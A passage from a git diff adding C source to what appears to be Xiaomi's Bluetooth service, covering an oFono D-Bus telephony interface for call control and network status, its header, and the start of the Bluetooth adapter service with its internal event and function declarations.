BT_LOGE("%s, can't find voicecall manager proxy", __func__); + return TELE_ERR_PROXY; + } + + if (!g_dbus_proxy_method_call(proxy, "HoldAndAnswer", NULL, NULL, NULL, NULL)) + return TELE_FAIL; + + return TELE_SUCCESS; +} + +int teleif_call_hold_call(tele_client_t* tele, int slot) +{ + GDBusProxy* proxy = get_voice_callmanager(tele, slot); + if (!proxy) { + BT_LOGE("%s, can't find voicecall manager proxy", __func__); + return TELE_ERR_PROXY; + } + + if (!g_dbus_proxy_method_call(proxy, "SwapCalls", NULL, NULL, NULL, NULL)) + return TELE_FAIL; + + return TELE_SUCCESS; +} + +int teleif_call_merge_call(tele_client_t* tele, int slot) +{ + GDBusProxy* proxy; + + proxy = get_voice_callmanager(tele, slot); + if (!proxy) { + BT_LOGE("%s, can't find voicecall manager proxy", __func__); + return TELE_ERR_PROXY; + } + + if (!g_dbus_proxy_method_call(proxy, "CreateMultiparty", NULL, NULL, NULL, NULL)) + return TELE_FAIL; + + return TELE_SUCCESS; +} + +static void dtmf_setup(DBusMessageIter* iter, void* user_data) +{ + const char* tone = user_data; + + dbus_message_iter_append_basic(iter, DBUS_TYPE_STRING, &tone); +} + +int teleif_call_send_dtmf(tele_client_t* tele, int slot, const char* tones) +{ + GDBusProxy* proxy; + + proxy = get_voice_callmanager(tele, slot); + if (!proxy) { + BT_LOGE("%s, can't find voicecall manager proxy", __func__); + return TELE_ERR_PROXY; + } + + if (!g_dbus_proxy_method_call(proxy, "SendTones", dtmf_setup, NULL, (void*)tones, NULL)) + return TELE_FAIL; + + return TELE_SUCCESS; +} + +int teleif_network_get_signal_strength(tele_client_t* tele, int slot, int* strength) +{ + DBusMessageIter iter; + GDBusProxy* proxy; + + proxy = get_network_registration(tele, slot); + if (!proxy) { + BT_LOGE("%s, can't find network_registration proxy", __func__); + return TELE_ERR_PROXY; + } + + if (!g_dbus_proxy_get_property(proxy, "Strength", &iter)) { + *strength = -1; + return TELE_FAIL; + } + + dbus_message_iter_get_basic(&iter, strength); + + return TELE_SUCCESS; +} + +int teleif_network_get_operator(tele_client_t* tele, int slot, char** operator_name, int* status) +{ + DBusMessageIter iter; + GDBusProxy* proxy; + void* basic; + + proxy = get_network_operator(tele, slot); + if (!proxy) { + BT_LOGE("%s, can't find network_operator proxy", __func__); + return TELE_ERR_PROXY; + } + + if (!g_dbus_proxy_get_property(proxy, "Status", &iter)) { + *status = OPERATOR_STATUS_UNKNOWN; + return TELE_FAIL; + } + dbus_message_iter_get_basic(&iter, &basic); + *status = operator_status_to_value((const char*)basic); + + if (!g_dbus_proxy_get_property(proxy, "Name", &iter)) { + *operator_name = NULL; + return TELE_FAIL; + } + dbus_message_iter_get_basic(&iter, operator_name); + + return TELE_SUCCESS; +} + +bool teleif_network_is_roaming(tele_client_t* tele, int slot) +{ + DBusMessageIter iter; + GDBusProxy* proxy; + char* status; + + proxy = get_network_registration(tele, slot); + if (!proxy) { + BT_LOGE("%s, can't find network_registration proxy", __func__); + return false; + } + + if (!g_dbus_proxy_get_property(proxy, "Status", &iter)) + return false; + + dbus_message_iter_get_basic(&iter, &status); + + return strcmp(status, "roaming") == 0; +} +#endif diff --git a/service/profiles/system/telephony_interface.h b/service/profiles/system/telephony_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..b3fb266e9f590a2654a9fef7219d86cc70d86232 --- /dev/null +++ b/service/profiles/system/telephony_interface.h @@ -0,0 +1,189 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_TETEPHONY_INTERFACE_H__ +#define __BT_TETEPHONY_INTERFACE_H__ + +#include <stdbool.h> +#include <stddef.h> +#include <stdint.h> + +#define TELE_MAX_PHONE_NUMBER_LENGTH 80 +#define TELE_MAX_CALLER_NAME_LENGTH 80 + +enum { + TELE_SUCCESS = 0, + TELE_FAIL, + TELE_ERR_PROXY, + TELE_ERR_NOMEM, + TELE_INV_PARAM, +}; + +enum radio_status { + RADIO_STATUS_UNAVAILABLE = 0, + RADIO_STATUS_ON = 1, + RADIO_STATUS_OFF = 2, + RADIO_STATUS_EMERGENCY_ONLY = 3, +}; + +enum network_registration_status { + NETWORK_REG_STATUS_NOT_REGISTERED = 0, + NETWORK_REG_STATUS_REGISTERED = 1, + NETWORK_REG_STATUS_SEARCHING = 2, + NETWORK_REG_STATUS_DENIED = 3, + NETWORK_REG_STATUS_UNKNOWN = 4, + NETWORK_REG_STATUS_ROAMING = 5, + NETWORK_REG_STATUS_REGISTERED_SMS_EUTRAN = 6, + NETWORK_REG_STATUS_ROAMING_SMS_EUTRAN = 7, +}; + +enum operator_status { + OPERATOR_STATUS_UNKNOWN = 0, + OPERATOR_STATUS_AVAILABLE = 1, + OPERATOR_STATUS_CURRENT = 2, + OPERATOR_STATUS_FORBIDDEN = 3, +}; +typedef enum call_status { + CALL_STATUS_ACTIVE = 0, + CALL_STATUS_HELD, + CALL_STATUS_DIALING, + CALL_STATUS_ALERTING, + CALL_STATUS_INCOMING, + CALL_STATUS_WAITING, + CALL_STATUS_DISCONNECTED, +} tele_call_status_t; + +enum call_disconnect_reason { + CALL_DISCONNECT_REASON_UNKNOWN = 0, + CALL_DISCONNECT_REASON_LOCAL_HANGUP, + CALL_DISCONNECT_REASON_REMOTE_HANGUP, + CALL_DISCONNECT_REASON_ERROR, +}; + +typedef struct tele_client_ tele_client_t; + +typedef struct tele_call_ { + /* call context */ + tele_client_t* client; + void* proxy; + void* call_cbs; + /* call info */ + uint8_t call_state; + char line_identification[TELE_MAX_PHONE_NUMBER_LENGTH]; + char incoming_line[TELE_MAX_PHONE_NUMBER_LENGTH]; + char name[TELE_MAX_CALLER_NAME_LENGTH]; + char start_time[128]; + bool is_remote_held; + bool is_emergency; + bool is_multiparty; + bool is_remote_multiparty; + bool is_incoming; +} tele_call_t; + +/* manager */ +typedef void (*connection_state_callback_t)(tele_client_t* tele, bool connected); +typedef void (*radio_state_change_callback_t)(tele_client_t* tele, int radio_state); +typedef void (*call_added_callback_t)(tele_client_t* tele, tele_call_t* call); +typedef void (*call_removed_callback_t)(tele_client_t* tele, tele_call_t* call); +typedef void (*network_operator_status_changed_callback_t)(tele_client_t* tele, int status); +typedef void (*network_operator_name_changed_callback_t)(tele_client_t* tele, const char* name); +typedef void (*network_reg_state_changed_callback_t)(tele_client_t* tele, int status); +typedef void (*signal_strength_changed_callback_t)(tele_client_t* tele, int strength); +/* dial */ +typedef void (*dial_callback_t)(tele_client_t* tele, bool succeeded); + +/* current calls callback */ +typedef void (*get_calls_callback_t)(tele_client_t* tele, tele_call_t** call, uint8_t nums); + +/* call */ +typedef void (*call_state_changed_callback_t)(tele_client_t* tele, tele_call_t* call, int state); +typedef void (*call_disconnect_reason_callback_t)(tele_client_t* tele, tele_call_t* call, int reason); + +typedef struct { + connection_state_callback_t connection_state_cb; + radio_state_change_callback_t radio_state_change_cb; + call_added_callback_t call_added_cb; + call_removed_callback_t call_removed_cb; + network_operator_status_changed_callback_t operator_status_changed_cb; + network_operator_name_changed_callback_t operator_name_changed_cb; + network_reg_state_changed_callback_t network_reg_state_changed_cb; + signal_strength_changed_callback_t signal_strength_changed_cb; +} tele_callbacks_t; + +typedef struct { + call_state_changed_callback_t call_state_changed_cb; + call_disconnect_reason_callback_t call_disconnect_reason_cb; +} tele_call_callbacks_t; + +#if defined(CONFIG_LIB_DBUS_RPMSG_SERVER_CPUNAME) || defined(CONFIG_OFONO) +tele_client_t* teleif_client_connect(const char* name); +void teleif_client_disconnect(tele_client_t* tele); +void teleif_register_callbacks(tele_client_t* tele, int slot, tele_callbacks_t* cbs); +void teleif_unregister_callbacks(tele_client_t* tele, int slot, tele_callbacks_t* cbs); +void teleif_call_register_callbacks(tele_client_t* tele, tele_call_t* call, + tele_call_callbacks_t* cbs); +void teleif_call_unregister_callbacks(tele_client_t* tele, tele_call_t* call, + tele_call_callbacks_t* cbs); +int teleif_modem_set_radio_power(tele_client_t* tele, int slot, bool poweron); +bool teleif_modem_is_radio_on(tele_client_t* tele, int slot); +bool teleif_modem_get_radio_power(tele_client_t* tele, int slot); +int teleif_get_all_calls(tele_client_t* tele, int slot, get_calls_callback_t cbs); +int teleif_call_dial_number(tele_client_t* tele, int slot, char* number, + dial_callback_t cb); +int teleif_call_answer_call(tele_client_t* tele, tele_call_t* call); +int teleif_call_reject_call(tele_client_t* tele, tele_call_t* call); +int teleif_call_hangup_call(tele_client_t* tele, tele_call_t* call); +int teleif_call_hangup_all_call(tele_client_t* tele, int slot); +int teleif_call_release_and_answer(tele_client_t* tele, int slot); +int teleif_call_hold_and_answer(tele_client_t* tele, int slot); +int teleif_call_hold_call(tele_client_t* tele, int slot); +int teleif_call_merge_call(tele_client_t* tele, int slot); +int teleif_call_send_dtmf(tele_client_t* tele, int slot, const char* tones); +int teleif_network_get_signal_strength(tele_client_t* tele, int slot, int* strength); +int teleif_network_get_operator(tele_client_t* tele, int slot, char** operator_name, int* status); +bool teleif_network_is_roaming(tele_client_t* tele, int slot); +#else +static inline tele_client_t* teleif_client_connect(const char* name) +{ + return NULL; +} +static inline void teleif_client_disconnect(tele_client_t* tele) { } +static inline void teleif_register_callbacks(tele_client_t* tele, int slot, tele_callbacks_t* cbs) { } +static inline void teleif_unregister_callbacks(tele_client_t* tele, int slot, tele_callbacks_t* cbs) { } +static inline void teleif_call_register_callbacks(tele_client_t* tele, tele_call_t* call, + tele_call_callbacks_t* cbs) { } +static inline void teleif_call_unregister_callbacks(tele_client_t* tele, tele_call_t* call, + tele_call_callbacks_t* cbs) { } +static inline int teleif_modem_set_radio_power(tele_client_t* tele, int slot, bool poweron) { return TELE_FAIL; } +static inline bool teleif_modem_is_radio_on(tele_client_t* tele, int slot) { return false; } +static inline bool teleif_modem_get_radio_power(tele_client_t* tele, int slot) { return false; } +static inline int teleif_get_all_calls(tele_client_t* tele, int slot, get_calls_callback_t cbs) { return TELE_FAIL; } +static inline int teleif_call_dial_number(tele_client_t* tele, int slot, char* number, + dial_callback_t cb) { return TELE_FAIL; } +static inline int teleif_call_answer_call(tele_client_t* tele, tele_call_t* call) { return TELE_FAIL; } +static inline int teleif_call_reject_call(tele_client_t* tele, tele_call_t* call) { return TELE_FAIL; } +static inline int teleif_call_hangup_call(tele_client_t* tele, tele_call_t* call) { return TELE_FAIL; } +static inline int teleif_call_hangup_all_call(tele_client_t* tele, int slot) { return TELE_FAIL; } +static inline int teleif_call_release_and_answer(tele_client_t* tele, int slot) { return TELE_FAIL; } +static inline int teleif_call_hold_and_answer(tele_client_t* tele, int slot) { return TELE_FAIL; } +static inline int teleif_call_hold_call(tele_client_t* tele, int slot) { return TELE_FAIL; } +static inline int teleif_call_merge_call(tele_client_t* tele, int slot) { return TELE_FAIL; } +static inline int teleif_call_send_dtmf(tele_client_t* tele, int slot, const char* tones) { return TELE_FAIL; } +static inline int teleif_network_get_signal_strength(tele_client_t* tele, int slot, int* strength) { return TELE_FAIL; } +static inline int teleif_network_get_operator(tele_client_t* tele, int slot, char** operator_name, int* status) { return TELE_FAIL; } +static inline bool teleif_network_is_roaming(tele_client_t* tele, int slot) { return false; } +#endif + +#endif /* __BT_TETEPHONY_INTERFACE_H__ */ diff --git a/service/src/adapter_internel.h b/service/src/adapter_internel.h new file mode 100644 index 0000000000000000000000000000000000000000..a43f313c3e7f701ae1dda8f1a6b2d07896719d6c --- /dev/null +++ b/service/src/adapter_internel.h @@ -0,0 +1,371 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_ADAPTER_INTERNAL_H__ +#define _BT_ADAPTER_INTERNAL_H__ + +#include "bluetooth.h" +#include "bluetooth_define.h" +#include "bt_adapter.h" +#include "bt_device.h" +#include "bt_status.h" +#include "service_loop.h" +#include <stdbool.h> + +enum { + DISCOVER_STATE_CHANGE_EVT, + DEVICE_FOUND_EVT, + REMOTE_NAME_RECIEVED_EVT, + CONNECT_REQUEST_EVT, + CONNECTION_STATE_CHANGE_EVT, + PAIR_REQUEST_EVT, + PIN_REQUEST_EVT, + SSP_REQUEST_EVT, + BOND_STATE_CHANGE_EVT, + ENC_STATE_CHANGE_EVT, + LINK_KEY_UPDATE_EVT, + LINK_KEY_REMOVED_EVT, + LINK_ROLE_CHANGED_EVT, + LINK_MODE_CHANGED_EVT, + LINK_POLICY_CHANGED_EVT, + SDP_SEARCH_DONE_EVT, + LE_ADDR_UPDATE_EVT, + LE_PHY_UPDATE_EVT, + LE_IRK_UPDATE_EVT, + LE_WHITELIST_UPDATE_EVT, + LE_BONDED_DEVICE_UPDATE_EVT, + LE_SC_LOCAL_OOB_DATA_GOT_EVT, +}; + +typedef struct { + void* device; + bond_state_t previous_state; + bool is_ctkd; +} bond_state_change_message_t; + +typedef struct { + bt_address_t addr; // Remote BT address + ble_addr_type_t addr_type; // if link type is ble connection type + uint8_t transport; + bt_status_t status; + connection_state_t connection_state; + uint32_t hci_reason_code; +} acl_state_param_t; + +typedef struct { + uint8_t evt_id; + union { + bt_discovery_state_t state; + bt_discovery_result_t result; + struct { + bt_address_t addr; + uint8_t name[BT_REM_NAME_MAX_LEN + 1]; + } remote_name; + }; +} adapter_discovery_evt_t; + +typedef struct { + uint8_t evt_id; + union { + struct { + bt_address_t local_addr; + ble_addr_type_t type; + } addr_update; + struct + { + /* data */ + bt_address_t addr; + uint8_t tx_phy; + uint8_t rx_phy; + uint8_t status; + } phy_update; + struct { + bt_address_t local_addr; + ble_addr_type_t type; + bt_128key_t irk; + } irk_update; + struct + { + /* data */ + bt_address_t addr; + bool is_add; + bt_status_t status; + } whitelist; + struct + { + /* data */ + remote_device_le_properties_t* props; + uint16_t bonded_devices_cnt; + } bonded_devices; + struct { + bt_address_t addr; + bt_128key_t c_val; + bt_128key_t r_val; + } oob_data; + }; +} adapter_ble_evt_t; + +typedef struct { + bt_address_t addr; + uint8_t evt_id; + union { + uint32_t cod; + acl_state_param_t acl_params; + struct { + bool local_initiate; + bool is_bondable; + } pair_req; + struct { + uint32_t cod; + bool min_16_digit; + char name[BT_REM_NAME_MAX_LEN + 1]; + } pin_req; + struct { + uint32_t cod; + bt_pair_type_t ssp_type; + uint32_t pass_key; + uint8_t transport; + char name[BT_REM_NAME_MAX_LEN + 1]; + } ssp_req; + struct { + bond_state_t state; + uint8_t transport; + bt_status_t status; + bool is_ctkd; + } bond_state; + struct { + bool encrypted; + uint8_t transport; + } enc_state; + struct { + bt_128key_t key; + bt_link_key_type_t type; + bt_status_t status; + } link_key; + struct { + bt_link_role_t role; + } link_role; + struct { + bt_link_mode_t mode; + uint16_t sniff_interval; + } link_mode; + struct { + bt_link_policy_t policy; + } link_policy; + struct { + uint16_t uuid_size; + bt_uuid_t* uuids; + } sdp; + }; +} adapter_remote_event_t; + +typedef struct adapter_state_machine adapter_state_machine_t; + +enum { + APP_SET_LE_ONLY = 0, + SYS_SET_BT_ALL +}; + +enum { + BT_BREDR_STACK_STATE_OFF, + BT_BREDR_STACK_STATE_ON, + BLE_STACK_STATE_OFF, + BLE_STACK_STATE_ON +}; + +enum adapter_event { + SYS_TURN_ON = 0, + SYS_TURN_OFF, + SYS_TURN_OFF_SAFE, + TURN_ON_BLE, + TURN_OFF_BLE, + SYS_TURN_OFF_SAFE_TIMEOUT, + /* + Don't support BREDR-only mode. If the user chooses TURN_ON, + we turn on ble first by default, and then turn on bt + */ + BREDR_ENABLED, + BREDR_DISABLED, + BREDR_PROFILE_ENABLED, + BREDR_PROFILE_DISABLED, + BREDR_ENABLE_TIMEOUT, + BREDR_DISABLE_TIMEOUT, + BREDR_ENABLE_PROFILE_TIMEOUT, + BREDR_DISABLE_PROFILE_TIMEOUT, + BREDR_ACL_ALL_DISCONNECTED, + BLE_ENABLED, + BLE_DISABLED, + BLE_PROFILE_ENABLED, + BLE_PROFILE_DISABLED, + BLE_ENABLE_TIMEOUT, + BLE_DISABLE_TIMEOUT, + BLE_ENABLE_PROFILE_TIMEOUT, + BLE_DISABLE_PROFILE_TIMEOUT, +}; + +/* adapter state machine API functions*/ +adapter_state_machine_t* adapter_state_machine_new(void* context); +void adapter_state_machine_destory(adapter_state_machine_t* stm); +bt_status_t adapter_send_event(uint16_t event_id, void* data); +bt_status_t adapter_on_profile_services_startup(uint8_t transport, bool ret); +bt_status_t adapter_on_profile_services_shutdown(uint8_t transport, bool ret); +/* adapter notification */ +void adapter_notify_state_change(bt_adapter_state_t prev, bt_adapter_state_t current); +void adapter_on_le_enabled(bool enablebt); +void adapter_on_le_disabled(void); +void adapter_on_br_enabled(void); +void adapter_on_br_disabled(void); + +/* adapter sal callback invoke functions */ +void adapter_on_adapter_info_load(void); +void adapter_on_adapter_state_changed(uint8_t stack_state); +void adapter_on_device_found(bt_discovery_result_t* result); +void adapter_on_scan_mode_changed(bt_scan_mode_t mode); +void adapter_on_irk_changed(const char* irk, uint8_t size); +void adapter_on_discovery_state_changed(bt_discovery_state_t state); +void adapter_on_remote_name_recieved(bt_address_t* addr, const char* name); +void adapter_on_connect_request(bt_address_t* addr, uint32_t cod); +void adapter_on_connection_state_changed(acl_state_param_t* param); +void adapter_on_pairing_request(bt_address_t* addr, bool local_initiate, bool is_bondable); +void adapter_on_ssp_request(bt_address_t* addr, uint8_t transport, + uint32_t cod, bt_pair_type_t ssp_type, + uint32_t pass_key, const char* name); +void adapter_on_pin_request(bt_address_t* addr, uint32_t cod, + bool min_16_digit, const char* name); +void adapter_on_bond_state_changed(bt_address_t* addr, bond_state_t state, uint8_t transport, bt_status_t status, bool is_ctkd); +void adapter_on_service_search_done(bt_address_t* addr, bt_uuid_t* uuids, uint16_t size); +void adapter_on_encryption_state_changed(bt_address_t* addr, bool encrypted, uint8_t transport); +void adapter_on_link_key_update(bt_address_t* addr, bt_128key_t link_key, bt_link_key_type_t type); +void adapter_on_link_key_removed(bt_address_t* addr, bt_status_t status); +void adapter_on_link_role_changed(bt_address_t* addr, bt_link_role_t role); +void adapter_on_link_mode_changed(bt_address_t* addr, bt_link_mode_t mode, uint16_t sniff_interval); +void adapter_on_link_policy_changed(bt_address_t* addr, bt_link_policy_t policy); +void adapter_on_le_addr_update(bt_address_t* addr, ble_addr_type_t type); +void adapter_on_le_phy_update(bt_address_t* addr, ble_phy_type_t tx_phy, + ble_phy_type_t rx_phy, bt_status_t status); +void adapter_on_whitelist_update(bt_address_t* addr, bool is_add, bt_status_t status); +void adapter_on_le_bonded_device_update(remote_device_le_properties_t* props, uint16_t bonded_devices_cnt); +void adapter_on_le_local_oob_data_got(bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val); + +/* adapter sal invoke functions */ +uint8_t* adapter_get_smp_data(bt_address_t* addr); +uint8_t* adapter_get_local_csrk(bt_address_t* addr); +uint8_t* adapter_get_local_irk(void); +bt_address_t* adapter_get_le_remote_address(bt_address_t* addr, ble_addr_type_t addr_type); +ble_addr_type_t adapter_get_le_remote_address_type(bt_address_t* addr); +uint8_t* adapter_get_link_key(bt_address_t* addr); +bt_link_key_type_t adapter_get_link_key_type(bt_address_t* addr); + +/* adapter framework invoke functions */ +void adapter_init(void); +void adapter_cleanup(void); +bt_status_t adapter_enable(uint8_t opt); +bt_status_t adapter_disable(uint8_t opt); +bt_status_t adapter_disable_safe(uint8_t opt); +bt_adapter_state_t adapter_get_state(void); +bool adapter_is_le_enabled(void); +bt_device_type_t adapter_get_type(void); + +bt_status_t adapter_set_discovery_filter(void); +bt_status_t adapter_start_discovery(uint32_t timeout, bool is_limited); +bt_status_t adapter_cancel_discovery(void); +bool adapter_is_discovering(void); +void adapter_get_address(bt_address_t* addr); +bt_status_t adapter_set_name(const char* name); +void adapter_get_name(char* name, int size); +bt_status_t adapter_get_uuids(bt_uuid_t* uuids, uint16_t* size); +bt_status_t adapter_set_scan_mode(bt_scan_mode_t mode, bool bondable); +bt_scan_mode_t adapter_get_scan_mode(void); +bt_status_t adapter_set_device_class(uint32_t cod); +uint32_t adapter_get_device_class(void); +bt_status_t adapter_set_io_capability(bt_io_capability_t cap); + +bt_io_capability_t adapter_get_io_capability(void); +bt_status_t adapter_set_inquiry_scan_parameters(bt_scan_type_t type, + uint16_t interval, + uint16_t window); +bt_status_t adapter_set_page_scan_parameters(bt_scan_type_t type, + uint16_t interval, + uint16_t window); +bt_status_t adapter_set_le_io_capability(uint32_t le_io_cap); +uint32_t adapter_get_le_io_capability(void); +bool adapter_get_pts_mode(void); +bt_status_t adapter_set_debug_mode(bt_debug_mode_t mode, uint8_t operation); +bt_status_t adapter_get_le_address(bt_address_t* addr, ble_addr_type_t* type); +bt_status_t adapter_set_le_address(bt_address_t* addr); +bt_status_t adapter_set_le_identity_address(bt_address_t* addr, bool is_public); +bt_status_t adapter_set_le_appearance(uint16_t appearance); +uint16_t adapter_get_le_appearance(void); +bt_status_t adapter_get_bonded_devices(bt_transport_t transport, bt_address_t** addr, int* size, bt_allocator_t allocator); +bt_status_t adapter_get_connected_devices(bt_transport_t transport, bt_address_t** addr, int* size, bt_allocator_t allocator); +void adapter_set_auto_accept_connection(bool enable); +bool adapter_is_support_bredr(void); +bool adapter_is_support_le(void); +bool adapter_is_support_leaudio(void); +bt_status_t adapter_get_remote_identity_address(bt_address_t* bd_addr, bt_address_t* id_addr); +bt_device_type_t adapter_get_remote_device_type(bt_address_t* addr); +bool adapter_get_remote_name(bt_address_t* addr, char* name); +uint32_t adapter_get_remote_device_class(bt_address_t* addr); +bt_status_t adapter_get_remote_uuids(bt_address_t* addr, bt_uuid_t** uuids, uint16_t* size, bt_allocator_t allocator); +uint16_t adapter_get_remote_appearance(bt_address_t* addr); +int8_t adapter_get_remote_rssi(bt_address_t* addr); +bool adapter_get_remote_alias(bt_address_t* addr, char* alias); +bt_status_t adapter_set_remote_alias(bt_address_t* addr, const char* alias); +bool adapter_is_remote_connected(bt_address_t* addr, bt_transport_t transport); +bool adapter_is_remote_encrypted(bt_address_t* addr, bt_transport_t transport); +bool adapter_is_bond_initiate_local(bt_address_t* addr, bt_transport_t transport); +bond_state_t adapter_get_remote_bond_state(bt_address_t* addr, bt_transport_t transport); +bool adapter_is_remote_bonded(bt_address_t* addr, bt_transport_t transport); +bt_status_t adapter_connect(bt_address_t* addr); +bt_status_t adapter_disconnect(bt_address_t* addr); +bt_status_t adapter_disconnect_safe(void); +bt_status_t adapter_le_connect(bt_address_t* addr, + ble_addr_type_t type, + ble_connect_params_t* param); +bt_status_t adapter_le_disconnect(bt_address_t* addr); +bt_status_t adapter_connect_request_reply(bt_address_t* addr, bool accept); +bt_status_t adapter_le_set_phy(bt_address_t* addr, + ble_phy_type_t tx_phy, + ble_phy_type_t rx_phy); +bt_status_t adapter_le_enable_key_derivation(bool brkey_to_lekey, + bool lekey_to_brkey); +bt_status_t adapter_le_add_whitelist(bt_address_t* addr); +bt_status_t adapter_le_remove_whitelist(bt_address_t* addr); +bt_status_t adapter_create_bond(bt_address_t* addr, bt_transport_t transport); +bt_status_t adapter_remove_bond(bt_address_t* addr, uint8_t transport); +bt_status_t adapter_le_set_bondable(bool enable); +bt_status_t adapter_set_security_level(uint8_t level, bt_transport_t transport); +bt_status_t adapter_cancel_bond(bt_address_t* addr); +bt_status_t adapter_pair_request_reply(bt_address_t* addr, bool accept); +bt_status_t adapter_set_pairing_confirmation(bt_address_t* addr, uint8_t transport, bool accept); +bt_status_t adapter_set_pin_code(bt_address_t* addr, bool accept, + char* pincode, int len); +bt_status_t adapter_set_pass_key(bt_address_t* addr, uint8_t transport, bool accept, uint32_t passkey); +bt_status_t adapter_le_set_legacy_tk(bt_address_t* addr, bt_128key_t tk_val); +bt_status_t adapter_le_set_remote_oob_data(bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val); +bt_status_t adapter_le_get_local_oob_data(bt_address_t* addr); +bt_status_t adapter_switch_role(bt_address_t* addr, bt_link_role_t role); +bt_status_t adapter_set_afh_channel_classification(uint16_t central_frequency, + uint16_t band_width, + uint16_t number); +void* adapter_register_callback(void* remote, const adapter_callbacks_t* adapter_cbs); +bool adapter_unregister_callback(void** remote, void* cookie); + +void adapter_dump(void); +void adapter_dump_device(bt_address_t* addr); +// void adapter_dump_profile(enum profile_id id); +void adapter_dump_all_device(void); + +#endif /* _BT_ADAPTER_INTERNAL_H__ */ diff --git a/service/src/adapter_service.c b/service/src/adapter_service.c new file mode 100644 index 0000000000000000000000000000000000000000..b248daa72f4b55febaf223e46be10d4169233d15 --- /dev/null +++ b/service/src/adapter_service.c @@ -0,0 +1,3408 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <pthread.h> +#include <stdint.h> +#include <stdlib.h> +#include <string.h> +#ifdef CONFIG_KVDB +#include <kvdb.h> +#endif +#ifdef CONFIG_UORB +#include <connectivity/bt.h> +#include <uORB/uORB.h> +#endif + +#include "adapter_internel.h" +#include "bt_list.h" +#ifdef CONFIG_BLUETOOTH_BLE_ADV +#include "advertising.h" +#endif +#ifdef CONFIG_BLUETOOTH_L2CAP +#include "l2cap_service.h" +#endif +#include "advertising.h" +#include "bluetooth.h" +#include "bluetooth_define.h" +#include "bt_adapter.h" +#include "bt_addr.h" +#include "bt_device.h" +#include "bt_dfx.h" +#include "bt_list.h" +#include "bt_profile.h" +#include "bt_uuid.h" +#include "btservice.h" +#include "callbacks_list.h" +#include "connection_manager.h" +#include "device.h" +#include "hci_error.h" +#include "sal_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "state_machine.h" +#include "storage.h" +#define LOG_TAG "adapter-svc" + +#include "bt_utils.h" +#include "utils/log.h" + +#define CALLBACK_FOREACH(_list, _struct, _cback, ...) BT_CALLBACK_FOREACH(_list, _struct, _cback, ##__VA_ARGS__) + +#define CHECK_ADAPTER_READY() \ + if (g_adapter_service.adapter_state != BT_ADAPTER_STATE_ON) { \ + status = BT_STATUS_NOT_ENABLED; \ + goto error; \ + } + +#define CBLIST (g_adapter_service.adapter_callbacks) + +typedef struct adapter_properties { + char name[BT_LOC_NAME_MAX_LEN + 1]; + bt_address_t addr; + uint32_t class_of_device; + uint32_t io_capability; + uint8_t scan_mode; + bool bondable; + uint8_t irk[16]; + bt_uuid_t uuids[10]; +} adapter_properties_t; + +typedef struct le_adapter_properties { + char name[BT_LOC_NAME_MAX_LEN + 1]; + bt_address_t addr; + uint8_t addr_type; + uint32_t le_io_capability; + uint32_t le_appearance; +} le_adapter_properties_t; + +typedef struct adapter_service { + adapter_state_machine_t* stm; + adapter_properties_t properties; + bt_list_t* devices; +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + le_adapter_properties_t le_properties; + bt_list_t* le_devices; +#endif + pthread_mutex_t adapter_lock; + bt_adapter_state_t adapter_state; + bool is_discovering; + bool is_pts_mode; + uint8_t max_acl_connections; + callbacks_list_t* adapter_callbacks; + int adapter_state_adv; +} adapter_service_t; + +static adapter_service_t g_adapter_service; + +adapter_service_t* get_adapter_service(void) +{ + return &g_adapter_service; +} + +static void adapter_lock(void) +{ + pthread_mutex_lock(&g_adapter_service.adapter_lock); +} + +static void adapter_unlock(void) +{ + pthread_mutex_unlock(&g_adapter_service.adapter_lock); +} + +static void adapter_notify_bond_state(void* data) +{ + bond_state_change_message_t* msg = (bond_state_change_message_t*)data; + bt_device_t* device; + bt_address_t* addr; + bt_transport_t transport; + bond_state_t current_state; + bond_state_t previous_state; + + if (!msg) { + BT_LOGE("msg is NULL"); + return; + } + + device = (bt_device_t*)msg->device; + adapter_lock(); + addr = device_get_address(device); + transport = device_get_transport(device); + current_state = device_get_bond_state(device); + adapter_unlock(); + previous_state = msg->previous_state; + if (previous_state == BOND_STATE_CANCELING) { + if (current_state != BOND_STATE_NONE) { + BT_LOGE("previous state is canceling, but current state is not none"); + free(msg); + return; + } else { + previous_state = BOND_STATE_BONDING; // report bonding -> none + } + } + + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, on_bond_state_changed_extra, addr, transport, + previous_state, current_state, msg->is_ctkd); + free(msg); +} + +static bt_device_t* adapter_find_device(const bt_address_t* addr, bt_transport_t transport) +{ + bt_list_node_t* node; + bt_list_t* list; + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + if (transport == BT_TRANSPORT_BREDR) + list = g_adapter_service.devices; + else +#endif +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + if (transport == BT_TRANSPORT_BLE) + list = g_adapter_service.le_devices; + else +#endif + return NULL; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + bt_device_t* device = bt_list_node(node); + if (!memcmp(device_get_address(device), 